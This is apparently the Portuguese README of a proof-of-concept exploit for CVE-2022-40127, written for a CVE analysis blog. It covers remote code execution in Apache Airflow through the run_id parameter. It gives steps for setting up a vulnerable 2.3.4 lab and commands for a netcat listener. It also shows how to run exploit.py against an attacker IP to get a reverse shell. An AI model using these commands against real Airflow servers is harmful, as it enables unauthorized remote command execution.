
Prova de conceito de exploit para CVE-2022-40127 visando execução remota de código (RCE) no Apache Airflow por meio do parâmetro run_id manipulado, com entrega automatizada de reverse shell.
PoC para CVE-2022-40127, uma vulnerabilidade de RCE no Apache Airflow que afeta versões anteriores à 2.4.0.
A descrição do relatório oficial diz:
Uma vulnerabilidade nos DAGs de Exemplo do Apache Airflow permite que um atacante com acesso à interface do usuário que possa acionar DAGs execute comandos arbitrários por meio do parâmetro run_id fornecido manualmente. Esse problema afeta o Apache Airflow versões anteriores à 2.4.0.
Este repositório foi criado para uma postagem de análise de CVE disponível no blog vsociety.
https://github.com/jakabakos/CVE-2022-40127/assets/42498816/2094f2ec-f074-41e6-99f4-f9f77dd09df6
Você pode clonar o repositório:
git clone https://github.com/jakabakos/CVE-2022-40127.git
Baixe o arquivo docker-compose do repositório oficial
cd /opt/
mkdir airflow-2.3.4 && cd airflow-2.3.4
curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.3.4/docker-compose.yaml'
Execute o Airflow
mkdir -p ./dags ./logs ./plugins
echo -e "AIRFLOW_UID=$(id -u)" > .env
docker-compose up airflow-init
docker-compose up
open localhost:8080
Nesse caso, tanto o nome de usuário quanto a senha serão airflow.
Com base nas instruções oficiais de instalação:
pip3.8 install "apache-airflow==2.3.4" --constraint "https://raw.githubusercontent.com/apache/airflow/constraints-2.3.4/constraints-3.7.txt"
Você pode verificar se a instalação foi bem-sucedida com os comandos which airflow e/ou airflow info.
Execute o Airflow
airflow standalone
Veja a senha e o nome de usuário gerados nos logs.
Primeiro, instale os pacotes necessários com pip:
pip3 install -r requirements.txt
Veja as opções possíveis com:
python3 exploit.py --help
Você pode verificar se o host pode ser explorado ou não:
python3 exploit.py -u airflow -p airflow -url http://localhost:8080
Configure um listener local para o reverse shell em uma sessão de terminal diferente:
nc -lvnp 4242
Execute o script no modo de ataque com este comando:
python3 exploit.py -u airflow -p airflow -url http://localhost:8080 -a -host <attacker_ip> -port 4242
Você deve ver a conexão em cerca de um minuto.
